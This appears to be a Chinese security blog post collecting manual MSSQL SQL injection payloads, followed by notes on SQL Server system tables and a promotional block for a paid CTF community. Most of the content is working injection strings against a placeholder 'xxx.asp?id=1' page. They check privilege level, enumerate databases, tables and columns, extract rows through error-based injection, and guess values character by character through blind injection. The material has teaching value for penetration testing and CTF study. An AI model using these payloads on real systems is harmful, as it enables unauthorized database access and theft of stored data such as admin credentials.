sql注入语法

ads
  






很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句.
手工MSSQL注入常用SQL语句
and exists (select * from sysobjects) //判断是否是MSSQL
and exists (select * from tableName) //判断某表是否存在tableName为表名
and 1=(select @@VERSION) //MSSQL版本
and 1=(select @@servername) //本地服务名
and 1=(select db_name()) //当前数据库名
and 1=(select user_name()) //判断用户权限,一般dbo就是最高权限
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

------------------------------------------------------------------------------

SQL Server显错注入
确定数据库类型(注意:数据库名中出现数字时要用[]括号把数据库包含起来才能正常输出语句):
xxx.asp?id=1 and (select count(*) from sysobjects)=2
xxx.asp?id=1 and exists (select * from sysobjects)
爆库:
xxx.asp?id=1 and 1=(select db_name()) //爆出当前库名
xxx.asp?id=1 and 1=(select name from master.dbo.sysdatabases where dbid=1) //dbid=1、2、3修改数字一个一个爆出数据库名
xxx.asp?id=1 and 1=(select top 1 name from master.dbo.sysdatabases where dbid=1) //dbid=1、2、3修改数字一个一个爆出数据库名
xxx.asp?id=1 and 1=(select top 1 name from master.dbo.sysdatabases where name <> '数据库名') //爆下一个数据库名
暴表:
xxx.asp?id=1 and 1=(select top 1 name from 数据库名.dbo.sysobjects where xtype='U') //爆出第一个表名
xxx.asp?id=1 and 1=(select top 1 name from 数据库名.dbo.sysobjects where xtype='U' and name <> '表名') //爆下一个表名
暴列:
xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=object_id('表名'))  //爆列名
xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=object_id('表名') and name <> '字段')  //爆下一个列名
xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))
xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名'))
xxx.asp?id=1 and 1=(select top 1 name from syscolumns where id=(select id from 数据库名.dbo.sysobjects where name='表名') and name <> '列名')
暴数据:
xxx.asp?id=1 and 1=(select top 1 字段 from 表名)
xxx.asp?id=1 and 1=(select top 1 字段 from 表名 where id=1)
xxx.asp?id=1 and 1=(select top 1 字段 from 表名 where username <> 'xxx')
xxx.asp?id=1 and 1=(select top 1 字段 from 数据库名.dbo.表名)
xxx.asp?id=1 and 1=(select top 1 字段 from 数据库名.dbo.表名 where id=1)
xxx.asp?id=1 and 1=(select top 1 字段 from 数据库名.dbo.表名 where admin <> 'admin')

------------------------------------------------------------------------------

SQL Server盲注
xxx.asp?id=1 and exists (select * from 表名)   //猜表名
xxx.asp?id=1 and exists (select 列名 from 表名)   //猜列名
xxx.asp?id=1 and (select top 1 len(列名) from 表名 where id=1)=长度   //猜字段长度
xxx.asp?id=1 and exists (select top 1 * from admin where len(列名)=长度 and id=1)
xxx.asp?id=1 and (select top 1 count(*) from admin where len(列名)=长度 and id=1)>0
xxx.asp?id=1 and (select top 1 substring(列名,1,1) from 表名 where id=1)='字符'   //猜字符
xxx.asp?id=1 and (select top 1 unicode(substring(列名,1,1)) from 表名 where id=1)=asc值   //猜字段下数据asc值
xxx.asp?id=1 and exists (select top 1 * from admin where unicode(substring(列名,1,1))=asc值 and id=1)  
xxx.asp?id=1 and (select top 1 count(*) from admin where unicode(substring(列名,1,1))=asc值 and id=1)>0   //布尔型猜字段下数据asc值

------------------------------------------------------------------------------

mssql中三个系统表说明

一、sysdatabases系统表:

Microsoft SQL Server 上的每个数据库在表中占一行。

最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。  保存了所有的库名,以及库的ID和一些相关信息。 
字段名称和相关说明:name //表示库的名字;dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就可以查询出所有的库名。

二、Sysobjects:

SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。

以下是此系统表的字段名称和相关说明。
Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。

对象类型(xtype)。可以是下列对象类型中的一种:
C = CHECK 约束 
D = 默认值或 DEFAULT 约束 
F = FOREIGN KEY 约束 
L = 日志 
FN = 标量函数 
IF = 内嵌表函数 
P = 存储过程 
PK = PRIMARY KEY 约束(类型是 K) 
RF = 复制筛选存储过程 
S = 系统表 
TF = 表函数 
TR = 触发器 
U = 用户表 
UQ = UNIQUE 约束(类型是 K) 
V = 视图 
X = 扩展存储过程 
当xtype='U' and status>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。                                    用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。

三、syscolumns :

每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。

用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
资料来源于网络,如有侵权,后台联系删除。


网络安全攻防&CTF部落

高质量网络安全攻防与CTF社区,每日分享行业最新资讯,交流解答各类技术问题。星球中可以获取各类攻防、CTF信息、工具、技巧、书籍、各种资源,发布政府机关、企业、厂商网络安全招聘信息,及内类内推资格。所有发布的内容均精心挑选、成体系化,让你远离无用信息及零碎的知识点。目前星球内有800多个主题内容,700个攻防类文件下载,各类电子书、教程。


加入星球后获得:

  • 各类网络安全攻防、CTF比赛信息、解题工具、技巧、书籍、靶场资源;

  • 攻防思维导图,0基础开启网络安全学习之路;

  • 遇到任何技术题都快速提问与讨论交流的思路;

  • 组织队伍参与各类CTF比赛;

  • 面试大厂心得及内推资格;

加入星球后,可以跟我 1 对 1 免费提问交流、帮你确定安全学习方向和路线、和大家一起交流学习,从而激励你持续学习!

随着加入的星友越多,压力就越大,所以保证质量的同时,会适当提高门槛。现在限时限量扫码抢购¥99元优惠券体验三天,如果不满意三天可以免费全额退款,尽早体验、以优惠价加入肯定是不亏的。

如果觉得有用,记得、收藏文章哦!
,回复“CTF”,领取CTF各方向学习/解题思维导图。回复“面试”,领取网安面试必考题及面试经验。
往期文章


CTF之misc杂项解题技巧总结(六)——视频、音频文件

CTF之misc杂项解题技巧总结(五)——图片文件

CTF入门必备之题型介绍

CTF之misc杂项解题技巧总结(四)——SWF游戏和取证分析

CTF之misc杂项解题技巧总结(三)——压缩文件

CTF之misc杂项解题技巧总结(二)——隐写术

CTF之misc杂项解题技巧总结(一)——编码与加密

干货|CTF工具资源库

新手如何入门CTF?ctf比赛/学习资源整理,记得收藏!

CTF之web常见题型及解题技巧总结

CTF学习之CRYPTO(密码学)总结

CTF pwn 中最通俗易懂的堆入坑指南

CTF之misc杂项解题技巧总结(七)——流量分析、搜索引擎及

ctf比赛/学习资源整理,记得收藏!文末有CTF群

CTF-REVERSE练习之逆向初探

CTF学习路线推荐,建议收藏

CTF解题基本思路步骤(misc和web)

Linux PWN从入门到熟练

Linux PWN从入门到熟练(二)

CTF apk 安卓逆向考点、例题及三款移动应用安全分析平台

CTF 六大方向基础工具合集

CTF-MISC基础-压缩包隐写总结及常见套路

建议收藏,CTF网络安全各方向入门知识汇总

超详细,手把手教你打造CTF动态靶场

移动安全入门教程--Xposed篇

基于Ubuntu搭建CTFd平台(全网最全)

年度总结,2022年CTF精华文章汇总

1月全球CTF比赛时间汇总来了!

CTF指南--隐写术总结

ctf杂项misc之文件修复,含文件结构修复、高度修复、标识修复

ctf杂项misc之音频隐写总结

CTF之web安全赛题解析

一道简单Chacha20_RC4算法CTF题目

CTF学习、项目、工具知识仓库

网络安全个人技能发展路线图

CTF-综合测试(高难度)【超详细】

CTFHUB--技能树--SSRF全解(上篇)

CTFHUB--技能树--SSRF全解(下篇)

网络安全初、中、高阶学习路线图,建议收藏!

2023年网络安全技术自学路线图及职业选择方向

逆向分析学习入门教程

CTF PWN新手入门篇,PWN学习总结

网络安全ctf比赛/学习资源整理,解题工具、思路、靶场、学习路线,推荐收藏!

网络安全思维导图

网络安全 CTF(加密, 解密)全过程解析

CTF网络安全之Misc-zip压缩包分析

CTF无线网络安全技术基础

10月网络安全/CTF比赛时间汇总来了!

网络安全面试题(含答案)

网络安全思维导图

Kali linux无线网络渗透详解笔记

数据库语法整理及WAF绕过方式

干货|网络安全渗透测试面试问题汇总,持续更新 建议收藏

几道ctf的密码入门题目

CTFer成长之路之CTF中的SQL注入

CTFer成长之路之命令执行漏洞

端口漏洞总结

ctf比赛linux渗透测试常用命令,记得收藏

2022年网络攻击事件盘点

CTF AWD线下Shell管理工具、主机扫描工具

CTF-杂项与密码学总结

记两次内网入侵溯源

部分中间人攻击手法简介

网络安全个人技能发展路线图








END





扫码关注



网络安全研究所

更多精彩等着你


最后编辑于:2024/1/16 拔丝英语网

admin-avatar

英语作文代写、国外视频下载

高质量学习资料分享

admin@buzzrecipe.com